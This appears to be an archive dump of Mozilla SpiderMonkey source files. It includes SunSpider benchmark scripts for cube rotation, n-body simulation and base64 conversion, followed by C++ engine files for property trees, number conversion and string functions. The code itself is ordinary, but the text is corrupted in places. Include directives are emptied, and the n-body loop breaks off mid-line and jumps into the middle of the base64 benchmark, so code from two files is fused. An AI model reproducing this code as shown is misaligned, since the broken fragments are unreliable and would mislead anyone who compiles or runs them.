[0,Cos,-Sin,0], [0,Sin,Cos,0], [0,0,0,1] ]; return MMulti(R, M); } function RotateY(M, Phi) { var a = Phi; a *= Math.PI / 180; var Cos = Math.cos(a); var Sin = Math.sin(a); var R = [ [Cos,0,Sin,0], [0,1,0,0], [-Sin,0,Cos,0], [0,0,0,1] ]; return MMulti(R, M); } function RotateZ(M, Phi) { var a = Phi; a *= Math.PI / 180; var Cos = Math.cos(a); var Sin = Math.sin(a); var R = [ [Cos,-Sin,0,0], [Sin,Cos,0,0], [0,0,1,0], [0,0,0,1] ]; return MMulti(R, M); } function DrawQube() { // calc current normals var CurN = new Array(); var i = 5; Q.LastPx = 0; /* BEGIN LOOP */ for (; i > -1; i--) CurN[i] = VMulti2(MQube, Q.Normal[i]); /* END LOOP */ if (CurN[0][2] < 0) { if (!Q.Line[0]) { DrawLine(Q[0], Q[1]); Q.Line[0] = true; }; if (!Q.Line[1]) { DrawLine(Q[1], Q[2]); Q.Line[1] = true; }; if (!Q.Line[2]) { DrawLine(Q[2], Q[3]); Q.Line[2] = true; }; if (!Q.Line[3]) { DrawLine(Q[3], Q[0]); Q.Line[3] = true; }; } if (CurN[1][2] < 0) { if (!Q.Line[2]) { DrawLine(Q[3], Q[2]); Q.Line[2] = true; }; if (!Q.Line[9]) { DrawLine(Q[2], Q[6]); Q.Line[9] = true; }; if (!Q.Line[6]) { DrawLine(Q[6], Q[7]); Q.Line[6] = true; }; if (!Q.Line[10]) { DrawLine(Q[7], Q[3]); Q.Line[10] = true; }; } if (CurN[2][2] < 0) { if (!Q.Line[4]) { DrawLine(Q[4], Q[5]); Q.Line[4] = true; }; if (!Q.Line[5]) { DrawLine(Q[5], Q[6]); Q.Line[5] = true; }; if (!Q.Line[6]) { DrawLine(Q[6], Q[7]); Q.Line[6] = true; }; if (!Q.Line[7]) { DrawLine(Q[7], Q[4]); Q.Line[7] = true; }; } if (CurN[3][2] < 0) { if (!Q.Line[4]) { DrawLine(Q[4], Q[5]); Q.Line[4] = true; }; if (!Q.Line[8]) { DrawLine(Q[5], Q[1]); Q.Line[8] = true; }; if (!Q.Line[0]) { DrawLine(Q[1], Q[0]); Q.Line[0] = true; }; if (!Q.Line[11]) { DrawLine(Q[0], Q[4]); Q.Line[11] = true; }; } if (CurN[4][2] < 0) { if (!Q.Line[11]) { DrawLine(Q[4], Q[0]); Q.Line[11] = true; }; if (!Q.Line[3]) { DrawLine(Q[0], Q[3]); Q.Line[3] = true; }; if (!Q.Line[10]) { DrawLine(Q[3], Q[7]); Q.Line[10] = true; }; if (!Q.Line[7]) { DrawLine(Q[7], Q[4]); Q.Line[7] = true; }; } if (CurN[5][2] < 0) { if (!Q.Line[8]) { DrawLine(Q[1], Q[5]); Q.Line[8] = true; }; if (!Q.Line[5]) { DrawLine(Q[5], Q[6]); Q.Line[5] = true; }; if (!Q.Line[9]) { DrawLine(Q[6], Q[2]); Q.Line[9] = true; }; if (!Q.Line[1]) { DrawLine(Q[2], Q[1]); Q.Line[1] = true; }; } Q.Line = [false,false,false,false,false,false,false,false,false,false,false,false]; Q.LastPx = 0; } function Loop() { if (Testing.LoopCount > Testing.LoopMax) return; var TestingStr = String(Testing.LoopCount); /* BEGIN LOOP */ while (TestingStr.length < 3) TestingStr = "0" + TestingStr; /* END LOOP */ MTrans = Translate(I, -Q[8].V[0], -Q[8].V[1], -Q[8].V[2]); MTrans = RotateX(MTrans, 1); MTrans = RotateY(MTrans, 3); MTrans = RotateZ(MTrans, 5); MTrans = Translate(MTrans, Q[8].V[0], Q[8].V[1], Q[8].V[2]); MQube = MMulti(MTrans, MQube); var i = 8; /* BEGIN LOOP */ for (; i > -1; i--) { Q[i].V = VMulti(MTrans, Q[i].V); } /* END LOOP */ DrawQube(); Testing.LoopCount++; Loop(); } function Init(CubeSize) { // init/reset vars Origin.V = [150,150,20,1]; Testing.LoopCount = 0; Testing.LoopMax = 50; Testing.TimeMax = 0; Testing.TimeAvg = 0; Testing.TimeMin = 0; Testing.TimeTemp = 0; Testing.TimeTotal = 0; Testing.Init = false; // transformation matrix MTrans = [ [1,0,0,0], [0,1,0,0], [0,0,1,0], [0,0,0,1] ]; // position information of qube MQube = [ [1,0,0,0], [0,1,0,0], [0,0,1,0], [0,0,0,1] ]; // entity matrix I = [ [1,0,0,0], [0,1,0,0], [0,0,1,0], [0,0,0,1] ]; // create qube Q[0] = new CreateP(-CubeSize,-CubeSize, CubeSize); Q[1] = new CreateP(-CubeSize, CubeSize, CubeSize); Q[2] = new CreateP( CubeSize, CubeSize, CubeSize); Q[3] = new CreateP( CubeSize,-CubeSize, CubeSize); Q[4] = new CreateP(-CubeSize,-CubeSize,-CubeSize); Q[5] = new CreateP(-CubeSize, CubeSize,-CubeSize); Q[6] = new CreateP( CubeSize, CubeSize,-CubeSize); Q[7] = new CreateP( CubeSize,-CubeSize,-CubeSize); // center of gravity Q[8] = new CreateP(0, 0, 0); // anti-clockwise edge check Q.Edge = [[0,1,2],[3,2,6],[7,6,5],[4,5,1],[4,0,3],[1,5,6]]; // calculate squad normals Q.Normal = new Array(); /* BEGIN LOOP */ for (var i = 0; i < Q.Edge.length; i++) Q.Normal[i] = CalcNormal(Q[Q.Edge[i][0]].V, Q[Q.Edge[i][1]].V, Q[Q.Edge[i][2]].V); /* END LOOP */ // line drawn ? Q.Line = [false,false,false,false,false,false,false,false,false,false,false,false]; // create line pixels Q.NumPx = 9 * 2 * CubeSize; /* BEGIN LOOP */ for (var i = 0; i < Q.NumPx; i++) CreateP(0,0,0); /* END LOOP */ MTrans = Translate(MTrans, Origin.V[0], Origin.V[1], Origin.V[2]); MQube = MMulti(MTrans, MQube); var i = 0; /* BEGIN LOOP */ for (; i < 9; i++) { Q[i].V = VMulti(MTrans, Q[i].V); } /* END LOOP */ DrawQube(); Testing.Init = true; Loop(); } /* BEGIN LOOP */ for ( var i = 20; i <= 160; i *= 2 ) { Init(i); } /* END LOOP */ Q = null; MTrans = null; MQube = null; I = null; Origin = null; Testing = null; LoopTime = null; DisplArea = null; mozjs17.0.0/js/src/metrics/jint/sunspider/access-nbody.js0000664000175000017500000001055112106270663023344 0ustar sstanglsstangl/* The Great Computer Language Shootout http://shootout.alioth.debian.org/ contributed by Isaac Gouy */ var PI = 3.141592653589793; var SOLAR_MASS = 4 * PI * PI; var DAYS_PER_YEAR = 365.24; function Body(x,y,z,vx,vy,vz,mass){ this.x = x; this.y = y; this.z = z; this.vx = vx; this.vy = vy; this.vz = vz; this.mass = mass; } Body.prototype.offsetMomentum = function(px,py,pz) { this.vx = -px / SOLAR_MASS; this.vy = -py / SOLAR_MASS; this.vz = -pz / SOLAR_MASS; return this; } function Jupiter(){ return new Body( 4.84143144246472090e+00, -1.16032004402742839e+00, -1.03622044471123109e-01, 1.66007664274403694e-03 * DAYS_PER_YEAR, 7.69901118419740425e-03 * DAYS_PER_YEAR, -6.90460016972063023e-05 * DAYS_PER_YEAR, 9.54791938424326609e-04 * SOLAR_MASS ); } function Saturn(){ return new Body( 8.34336671824457987e+00, 4.12479856412430479e+00, -4.03523417114321381e-01, -2.76742510726862411e-03 * DAYS_PER_YEAR, 4.99852801234917238e-03 * DAYS_PER_YEAR, 2.30417297573763929e-05 * DAYS_PER_YEAR, 2.85885980666130812e-04 * SOLAR_MASS ); } function Uranus(){ return new Body( 1.28943695621391310e+01, -1.51111514016986312e+01, -2.23307578892655734e-01, 2.96460137564761618e-03 * DAYS_PER_YEAR, 2.37847173959480950e-03 * DAYS_PER_YEAR, -2.96589568540237556e-05 * DAYS_PER_YEAR, 4.36624404335156298e-05 * SOLAR_MASS ); } function Neptune(){ return new Body( 1.53796971148509165e+01, -2.59193146099879641e+01, 1.79258772950371181e-01, 2.68067772490389322e-03 * DAYS_PER_YEAR, 1.62824170038242295e-03 * DAYS_PER_YEAR, -9.51592254519715870e-05 * DAYS_PER_YEAR, 5.15138902046611451e-05 * SOLAR_MASS ); } function Sun(){ return new Body(0.0, 0.0, 0.0, 0.0, 0.0, 0.0, SOLAR_MASS); } function NBodySystem(bodies){ this.bodies = bodies; var px = 0.0; var py = 0.0; var pz = 0.0; var size = this.bodies.length; /* BEGIN LOOP */ for (var i=0; i> 2]; result += toBase64Table[((data[i] & 0x03) << 4) + (data[i+1] >> 4)]; result += toBase64Table[((data[i+1] & 0x0f) << 2) + (data[i+2] >> 6)]; result += toBase64Table[data[i+2] & 0x3f]; } /* END LOOP */ // Convert the remaining 1 or 2 bytes, pad out to 4 characters. if (length%3) { i = length - (length%3); result += toBase64Table[data[i] >> 2]; if ((length%3) == 2) { result += toBase64Table[((data[i] & 0x03) << 4) + (data[i+1] >> 4)]; result += toBase64Table[(data[i+1] & 0x0f) << 2]; result += base64Pad; } else { result += toBase64Table[(data[i] & 0x03) << 4]; result += base64Pad + base64Pad; } } return result; } /* Convert Base64 data to a string */ var toBinaryTable = [ -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,62, -1,-1,-1,63, 52,53,54,55, 56,57,58,59, 60,61,-1,-1, -1, 0,-1,-1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10, 11,12,13,14, 15,16,17,18, 19,20,21,22, 23,24,25,-1, -1,-1,-1,-1, -1,26,27,28, 29,30,31,32, 33,34,35,36, 37,38,39,40, 41,42,43,44, 45,46,47,48, 49,50,51,-1, -1,-1,-1,-1 ]; function base64ToString(data) { var result = ''; var leftbits = 0; // number of bits decoded, but yet to be appended var leftdata = 0; // bits decoded, but yet to be appended // Convert one by one. /* BEGIN LOOP */ for (var i = 0; i < data.length; i++) { var c = toBinaryTable[data.charCodeAt(i) & 0x7f]; var padding = (data[i] == base64Pad); // Skip illegal characters and whitespace if (c == -1) continue; // Collect data into leftdata, update bitcount leftdata = (leftdata << 6) | c; leftbits += 6; // If we have 8 or more bits, append 8 bits to the result if (leftbits >= 8) { leftbits -= 8; // Append if not padding. if (!padding) result += String.fromCharCode((leftdata >> leftbits) & 0xff); leftdata &= (1 << leftbits) - 1; } } /* END LOOP */ // If there are any bits left, the base64 string was corrupted if (leftbits) throw Components.Exception('Corrupted base64 string'); return result; } var str = ""; /* BEGIN LOOP */ for ( var i = 0; i < 8192; i++ ) str += String.fromCharCode( (25 * Math.random()) + 97 ); /* END LOOP */ /* BEGIN LOOP */ for ( var i = 8192; i <= 16384; i *= 2 ) { var base64; base64 = toBase64(str); base64ToString(base64); // Double the string str += str; } /* END LOOP */ toBinaryTable = null; mozjs17.0.0/js/src/sharkctl.h0000664000175000017500000000074512106270663015776 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=80: * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef _SHARKCTL_H #define _SHARKCTL_H #ifdef __APPLE__ #include #include namespace Shark { bool Start(); void Stop(); }; #endif #endif mozjs17.0.0/js/src/jspropertytree.cpp0000664000175000017500000002224612106270663017617 0ustar sstanglsstangl/* -*- Mode: c++; c-basic-offset: 4; tab-width: 40; indent-tabs-mode: nil -*- */ /* vim: set ts=40 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include #include "jstypes.h" #include "jsprf.h" #include "jsapi.h" #include "jscntxt.h" #include "jsgc.h" #include "jspropertytree.h" #include "jsscope.h" #include "jsgcinlines.h" #include "jsobjinlines.h" #include "jsscopeinlines.h" using namespace js; inline HashNumber ShapeHasher::hash(const Lookup &l) { return l.hash(); } inline bool ShapeHasher::match(const Key k, const Lookup &l) { return k->matches(l); } Shape * PropertyTree::newShape(JSContext *cx) { Shape *shape = js_NewGCShape(cx); if (!shape) { JS_ReportOutOfMemory(cx); return NULL; } return shape; } static KidsHash * HashChildren(Shape *kid1, Shape *kid2) { KidsHash *hash = OffTheBooks::new_(); if (!hash || !hash->init(2)) { Foreground::delete_(hash); return NULL; } JS_ALWAYS_TRUE(hash->putNew(kid1, kid1)); JS_ALWAYS_TRUE(hash->putNew(kid2, kid2)); return hash; } bool PropertyTree::insertChild(JSContext *cx, Shape *parent, Shape *child) { JS_ASSERT(!parent->inDictionary()); JS_ASSERT(!child->parent); JS_ASSERT(!child->inDictionary()); JS_ASSERT(cx->compartment == compartment); JS_ASSERT(child->compartment() == parent->compartment()); KidsPointer *kidp = &parent->kids; if (kidp->isNull()) { child->setParent(parent); kidp->setShape(child); return true; } if (kidp->isShape()) { Shape *shape = kidp->toShape(); JS_ASSERT(shape != child); JS_ASSERT(!shape->matches(child)); KidsHash *hash = HashChildren(shape, child); if (!hash) { JS_ReportOutOfMemory(cx); return false; } kidp->setHash(hash); child->setParent(parent); return true; } if (!kidp->toHash()->putNew(child, child)) { JS_ReportOutOfMemory(cx); return false; } child->setParent(parent); return true; } void Shape::removeChild(Shape *child) { JS_ASSERT(!child->inDictionary()); JS_ASSERT(child->parent == this); KidsPointer *kidp = &kids; if (kidp->isShape()) { JS_ASSERT(kidp->toShape() == child); kidp->setNull(); child->parent = NULL; return; } KidsHash *hash = kidp->toHash(); JS_ASSERT(hash->count() >= 2); /* otherwise kidp->isShape() should be true */ hash->remove(child); child->parent = NULL; if (hash->count() == 1) { /* Convert from HASH form back to SHAPE form. */ KidsHash::Range r = hash->all(); Shape *otherChild = r.front(); JS_ASSERT((r.popFront(), r.empty())); /* No more elements! */ kidp->setShape(otherChild); js::UnwantedForeground::delete_(hash); } } Shape * PropertyTree::getChild(JSContext *cx, Shape *parent_, uint32_t nfixed, const StackShape &child) { Shape *shape = NULL; JS_ASSERT(parent_); /* * The property tree has extremely low fan-out below its root in * popular embeddings with real-world workloads. Patterns such as * defining closures that capture a constructor's environment as * getters or setters on the new object that is passed in as * |this| can significantly increase fan-out below the property * tree root -- see bug 335700 for details. */ KidsPointer *kidp = &parent_->kids; if (kidp->isShape()) { Shape *kid = kidp->toShape(); if (kid->matches(child)) shape = kid; } else if (kidp->isHash()) { shape = *kidp->toHash()->lookup(child); } else { /* If kidp->isNull(), we always insert. */ } #ifdef JSGC_INCREMENTAL if (shape) { JSCompartment *comp = shape->compartment(); if (comp->needsBarrier()) { /* * We need a read barrier for the shape tree, since these are weak * pointers. */ Shape *tmp = shape; MarkShapeUnbarriered(comp->barrierTracer(), &tmp, "read barrier"); JS_ASSERT(tmp == shape); } else if (comp->isGCSweeping() && !shape->isMarked() && !shape->arenaHeader()->allocatedDuringIncremental) { /* * The shape we've found is unreachable and due to be finalized, so * remove our weak reference to it and don't use it. */ JS_ASSERT(parent_->isMarked()); parent_->removeChild(shape); shape = NULL; } } #endif if (shape) return shape; StackShape::AutoRooter childRoot(cx, &child); RootedShape parent(cx, parent_); shape = newShape(cx); if (!shape) return NULL; new (shape) Shape(child, nfixed); if (!insertChild(cx, parent, shape)) return NULL; return shape; } void Shape::finalize(FreeOp *fop) { if (!inDictionary()) { /* * Note that due to incremental sweeping, if !parent->isMarked() then * the parent may point to a new shape allocated in the same cell that * use to hold our parent. */ if (parent && parent->isMarked()) parent->removeChild(this); if (kids.isHash()) fop->delete_(kids.toHash()); } } #ifdef DEBUG void KidsPointer::checkConsistency(Shape *aKid) const { if (isShape()) { JS_ASSERT(toShape() == aKid); } else { JS_ASSERT(isHash()); KidsHash *hash = toHash(); KidsHash::Ptr ptr = hash->lookup(aKid); JS_ASSERT(*ptr == aKid); } } void Shape::dump(JSContext *cx, FILE *fp) const { jsid propid = this->propid(); JS_ASSERT(!JSID_IS_VOID(propid)); if (JSID_IS_INT(propid)) { fprintf(fp, "[%ld]", (long) JSID_TO_INT(propid)); } else if (JSID_IS_DEFAULT_XML_NAMESPACE(propid)) { fprintf(fp, ""); } else { JSLinearString *str; if (JSID_IS_ATOM(propid)) { str = JSID_TO_ATOM(propid); } else { JS_ASSERT(JSID_IS_OBJECT(propid)); JSString *s = ToStringSlow(cx, IdToValue(propid)); fputs("object ", fp); str = s ? s->ensureLinear(cx) : NULL; } if (!str) fputs("", fp); else FileEscapedString(fp, str, '"'); } fprintf(fp, " g/s %p/%p slot %d attrs %x ", JS_FUNC_TO_DATA_PTR(void *, base()->rawGetter), JS_FUNC_TO_DATA_PTR(void *, base()->rawSetter), hasSlot() ? slot() : -1, attrs); if (attrs) { int first = 1; fputs("(", fp); #define DUMP_ATTR(name, display) if (attrs & JSPROP_##name) fputs(&(" " #display)[first], fp), first = 0 DUMP_ATTR(ENUMERATE, enumerate); DUMP_ATTR(READONLY, readonly); DUMP_ATTR(PERMANENT, permanent); DUMP_ATTR(GETTER, getter); DUMP_ATTR(SETTER, setter); DUMP_ATTR(SHARED, shared); #undef DUMP_ATTR fputs(") ", fp); } fprintf(fp, "flags %x ", flags); if (flags) { int first = 1; fputs("(", fp); #define DUMP_FLAG(name, display) if (flags & name) fputs(&(" " #display)[first], fp), first = 0 DUMP_FLAG(HAS_SHORTID, has_shortid); DUMP_FLAG(IN_DICTIONARY, in_dictionary); #undef DUMP_FLAG fputs(") ", fp); } fprintf(fp, "shortid %d\n", maybeShortid()); } void Shape::dumpSubtree(JSContext *cx, int level, FILE *fp) const { if (!parent) { JS_ASSERT(level == 0); JS_ASSERT(JSID_IS_EMPTY(propid_)); fprintf(fp, "class %s emptyShape\n", getObjectClass()->name); } else { fprintf(fp, "%*sid ", level, ""); dump(cx, fp); } if (!kids.isNull()) { ++level; if (kids.isShape()) { Shape *kid = kids.toShape(); JS_ASSERT(kid->parent == this); kid->dumpSubtree(cx, level, fp); } else { const KidsHash &hash = *kids.toHash(); for (KidsHash::Range range = hash.all(); !range.empty(); range.popFront()) { Shape *kid = range.front(); JS_ASSERT(kid->parent == this); kid->dumpSubtree(cx, level, fp); } } } } void js::PropertyTree::dumpShapes(JSRuntime *rt) { static bool init = false; static FILE *dumpfp = NULL; if (!init) { init = true; const char *name = getenv("JS_DUMP_SHAPES_FILE"); if (!name) return; dumpfp = fopen(name, "a"); } if (!dumpfp) return; fprintf(dumpfp, "rt->gcNumber = %lu", (unsigned long)rt->gcNumber); for (gc::GCCompartmentsIter c(rt); !c.done(); c.next()) { fprintf(dumpfp, "*** Compartment %p ***\n", (void *)c.get()); /* typedef JSCompartment::EmptyShapeSet HS; HS &h = c->emptyShapes; for (HS::Range r = h.all(); !r.empty(); r.popFront()) { Shape *empty = r.front(); empty->dumpSubtree(rt, 0, dumpfp); putc('\n', dumpfp); } */ } } #endif mozjs17.0.0/js/src/jsnum.h0000664000175000017500000001475312106270663015323 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef jsnum_h___ #define jsnum_h___ #include "mozilla/FloatingPoint.h" #include #include "jsobj.h" #include "vm/NumericConversions.h" extern double js_NaN; extern double js_PositiveInfinity; extern double js_NegativeInfinity; namespace js { extern bool InitRuntimeNumberState(JSRuntime *rt); extern void FinishRuntimeNumberState(JSRuntime *rt); } /* namespace js */ /* Initialize the Number class, returning its prototype object. */ extern JSObject * js_InitNumberClass(JSContext *cx, JSObject *obj); /* * String constants for global function names, used in jsapi.c and jsnum.c. */ extern const char js_isNaN_str[]; extern const char js_isFinite_str[]; extern const char js_parseFloat_str[]; extern const char js_parseInt_str[]; class JSString; class JSFixedString; /* * When base == 10, this function implements ToString() as specified by * ECMA-262-5 section 9.8.1; but note that it handles integers specially for * performance. See also js::NumberToCString(). */ extern JSString * JS_FASTCALL js_NumberToString(JSContext *cx, double d); namespace js { extern JSFixedString * Int32ToString(JSContext *cx, int32_t i); /* * Convert an integer or double (contained in the given value) to a string and * append to the given buffer. */ extern bool JS_FASTCALL NumberValueToStringBuffer(JSContext *cx, const Value &v, StringBuffer &sb); /* Same as js_NumberToString, different signature. */ extern JSFixedString * NumberToString(JSContext *cx, double d); extern JSFixedString * IndexToString(JSContext *cx, uint32_t index); /* * Usually a small amount of static storage is enough, but sometimes we need * to dynamically allocate much more. This struct encapsulates that. * Dynamically allocated memory will be freed when the object is destroyed. */ struct ToCStringBuf { /* * The longest possible result that would need to fit in sbuf is * (-0x80000000).toString(2), which has length 33. Longer cases are * possible, but they'll go in dbuf. */ static const size_t sbufSize = 34; char sbuf[sbufSize]; char *dbuf; ToCStringBuf(); ~ToCStringBuf(); }; /* * Convert a number to a C string. When base==10, this function implements * ToString() as specified by ECMA-262-5 section 9.8.1. It handles integral * values cheaply. Return NULL if we ran out of memory. See also * js_NumberToCString(). */ extern char * NumberToCString(JSContext *cx, ToCStringBuf *cbuf, double d, int base = 10); /* * The largest positive integer such that all positive integers less than it * may be precisely represented using the IEEE-754 double-precision format. */ const double DOUBLE_INTEGRAL_PRECISION_LIMIT = uint64_t(1) << 53; /* * Compute the positive integer of the given base described immediately at the * start of the range [start, end) -- no whitespace-skipping, no magical * leading-"0" octal or leading-"0x" hex behavior, no "+"/"-" parsing, just * reading the digits of the integer. Return the index one past the end of the * digits of the integer in *endp, and return the integer itself in *dp. If * base is 10 or a power of two the returned integer is the closest possible * double; otherwise extremely large integers may be slightly inaccurate. * * If [start, end) does not begin with a number with the specified base, * *dp == 0 and *endp == start upon return. */ extern bool GetPrefixInteger(JSContext *cx, const jschar *start, const jschar *end, int base, const jschar **endp, double *dp); /* ES5 9.3 ToNumber, overwriting *vp with the appropriate number value. */ JS_ALWAYS_INLINE bool ToNumber(JSContext *cx, Value *vp) { #ifdef DEBUG { SkipRoot skip(cx, vp); MaybeCheckStackRoots(cx); } #endif if (vp->isNumber()) return true; double d; extern bool ToNumberSlow(JSContext *cx, js::Value v, double *dp); if (!ToNumberSlow(cx, *vp, &d)) return false; vp->setNumber(d); return true; } JSBool num_parseInt(JSContext *cx, unsigned argc, Value *vp); } /* namespace js */ /* * Similar to strtod except that it replaces overflows with infinities of the * correct sign, and underflows with zeros of the correct sign. Guaranteed to * return the closest double number to the given input in dp. * * Also allows inputs of the form [+|-]Infinity, which produce an infinity of * the appropriate sign. The case of the "Infinity" string must match exactly. * If the string does not contain a number, set *ep to s and return 0.0 in dp. * Return false if out of memory. */ extern JSBool js_strtod(JSContext *cx, const jschar *s, const jschar *send, const jschar **ep, double *dp); extern JSBool js_num_valueOf(JSContext *cx, unsigned argc, js::Value *vp); namespace js { static JS_ALWAYS_INLINE bool ValueFitsInInt32(const Value &v, int32_t *pi) { if (v.isInt32()) { *pi = v.toInt32(); return true; } return v.isDouble() && MOZ_DOUBLE_IS_INT32(v.toDouble(), pi); } /* * Returns true if the given value is definitely an index: that is, the value * is a number that's an unsigned 32-bit integer. * * This method prioritizes common-case speed over accuracy in every case. It * can produce false negatives (but not false positives): some values which are * indexes will be reported not to be indexes by this method. Users must * consider this possibility when using this method. */ static JS_ALWAYS_INLINE bool IsDefinitelyIndex(const Value &v, uint32_t *indexp) { if (v.isInt32() && v.toInt32() >= 0) { *indexp = v.toInt32(); return true; } int32_t i; if (v.isDouble() && MOZ_DOUBLE_IS_INT32(v.toDouble(), &i) && i >= 0) { *indexp = uint32_t(i); return true; } return false; } /* ES5 9.4 ToInteger. */ static inline bool ToInteger(JSContext *cx, const js::Value &v, double *dp) { #ifdef DEBUG { SkipRoot skip(cx, &v); MaybeCheckStackRoots(cx); } #endif if (v.isInt32()) { *dp = v.toInt32(); return true; } if (v.isDouble()) { *dp = v.toDouble(); } else { extern bool ToNumberSlow(JSContext *cx, Value v, double *dp); if (!ToNumberSlow(cx, v, dp)) return false; } *dp = ToInteger(*dp); return true; } } /* namespace js */ #endif /* jsnum_h___ */ mozjs17.0.0/js/src/jsstr.cpp0000664000175000017500000037361612106270663015675 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * JS string type implementation. * * In order to avoid unnecessary js_LockGCThing/js_UnlockGCThing calls, these * native methods store strings (possibly newborn) converted from their 'this' * parameter and arguments on the stack: 'this' conversions at argv[-1], arg * conversions at their index (argv[0], argv[1]). This is a legitimate method * of rooting things that might lose their newborn root due to subsequent GC * allocations in the same native method. */ #include "mozilla/Attributes.h" #include "mozilla/CheckedInt.h" #include "mozilla/FloatingPoint.h" #include #include #include "jstypes.h" #include "jsutil.h" #include "jsprf.h" #include "jsapi.h" #include "jsarray.h" #include "jsatom.h" #include "jsbool.h" #include "jscntxt.h" #include "jsgc.h" #include "jsinterp.h" #include "jslock.h" #include "jsnum.h" #include "jsobj.h" #include "jsopcode.h" #include "jsprobes.h" #include "jsscope.h" #include "jsstr.h" #include "jsversion.h" #include "builtin/RegExp.h" #include "js/HashTable.h" #include "vm/GlobalObject.h" #include "vm/NumericConversions.h" #include "vm/RegExpObject.h" #include "vm/StringBuffer.h" #include "jsinferinlines.h" #include "jsobjinlines.h" #include "jsstrinlines.h" #include "jsautooplen.h" // generated headers last #include "vm/RegExpObject-inl.h" #include "vm/RegExpStatics-inl.h" #include "vm/StringObject-inl.h" #include "vm/String-inl.h" using namespace js; using namespace js::gc; using namespace js::types; using namespace js::unicode; using mozilla::CheckedInt; static JSLinearString * ArgToRootedString(JSContext *cx, CallArgs &args, unsigned argno) { if (argno >= args.length()) return cx->runtime->atomState.typeAtoms[JSTYPE_VOID]; Value &arg = args[argno]; JSString *str = ToString(cx, arg); if (!str) return NULL; arg = StringValue(str); return str->ensureLinear(cx); } /* * Forward declarations for URI encode/decode and helper routines */ static JSBool str_decodeURI(JSContext *cx, unsigned argc, Value *vp); static JSBool str_decodeURI_Component(JSContext *cx, unsigned argc, Value *vp); static JSBool str_encodeURI(JSContext *cx, unsigned argc, Value *vp); static JSBool str_encodeURI_Component(JSContext *cx, unsigned argc, Value *vp); static const uint32_t INVALID_UTF8 = UINT32_MAX; static uint32_t Utf8ToOneUcs4Char(const uint8_t *utf8Buffer, int utf8Length); /* * Global string methods */ /* ES5 B.2.1 */ static JSBool str_escape(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); const char digits[] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' }; JSLinearString *str = ArgToRootedString(cx, args, 0); if (!str) return false; size_t length = str->length(); const jschar *chars = str->chars(); static const uint8_t shouldPassThrough[256] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1, /* !"#$%&'()*+,-./ */ 1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0, /* 0123456789:;<=>? */ 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, /* @ABCDEFGHIJKLMNO */ 1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1, /* PQRSTUVWXYZ[\]^_ */ 0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, /* `abcdefghijklmno */ 1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0, /* pqrstuvwxyz{\}~ DEL */ }; /* In step 7, exactly 69 characters should pass through unencoded. */ #ifdef DEBUG size_t count = 0; for (size_t i = 0; i < sizeof(shouldPassThrough); i++) { if (shouldPassThrough[i]) { count++; } } JS_ASSERT(count == 69); #endif /* Take a first pass and see how big the result string will need to be. */ size_t newlength = length; for (size_t i = 0; i < length; i++) { jschar ch = chars[i]; if (ch < 128 && shouldPassThrough[ch]) continue; /* The character will be encoded as %XX or %uXXXX. */ newlength += (ch < 256) ? 2 : 5; /* * This overflow test works because newlength is incremented by at * most 5 on each iteration. */ if (newlength < length) { js_ReportAllocationOverflow(cx); return false; } } if (newlength >= ~(size_t)0 / sizeof(jschar)) { js_ReportAllocationOverflow(cx); return false; } jschar *newchars = (jschar *) cx->malloc_((newlength + 1) * sizeof(jschar)); if (!newchars) return false; size_t i, ni; for (i = 0, ni = 0; i < length; i++) { jschar ch = chars[i]; if (ch < 128 && shouldPassThrough[ch]) { newchars[ni++] = ch; } else if (ch < 256) { newchars[ni++] = '%'; newchars[ni++] = digits[ch >> 4]; newchars[ni++] = digits[ch & 0xF]; } else { newchars[ni++] = '%'; newchars[ni++] = 'u'; newchars[ni++] = digits[ch >> 12]; newchars[ni++] = digits[(ch & 0xF00) >> 8]; newchars[ni++] = digits[(ch & 0xF0) >> 4]; newchars[ni++] = digits[ch & 0xF]; } } JS_ASSERT(ni == newlength); newchars[newlength] = 0; JSString *retstr = js_NewString(cx, newchars, newlength); if (!retstr) { cx->free_(newchars); return false; } args.rval().setString(retstr); return true; } static inline bool Unhex4(const jschar *chars, jschar *result) { jschar a = chars[0], b = chars[1], c = chars[2], d = chars[3]; if (!(JS7_ISHEX(a) && JS7_ISHEX(b) && JS7_ISHEX(c) && JS7_ISHEX(d))) return false; *result = (((((JS7_UNHEX(a) << 4) + JS7_UNHEX(b)) << 4) + JS7_UNHEX(c)) << 4) + JS7_UNHEX(d); return true; } static inline bool Unhex2(const jschar *chars, jschar *result) { jschar a = chars[0], b = chars[1]; if (!(JS7_ISHEX(a) && JS7_ISHEX(b))) return false; *result = (JS7_UNHEX(a) << 4) + JS7_UNHEX(b); return true; } /* ES5 B.2.2 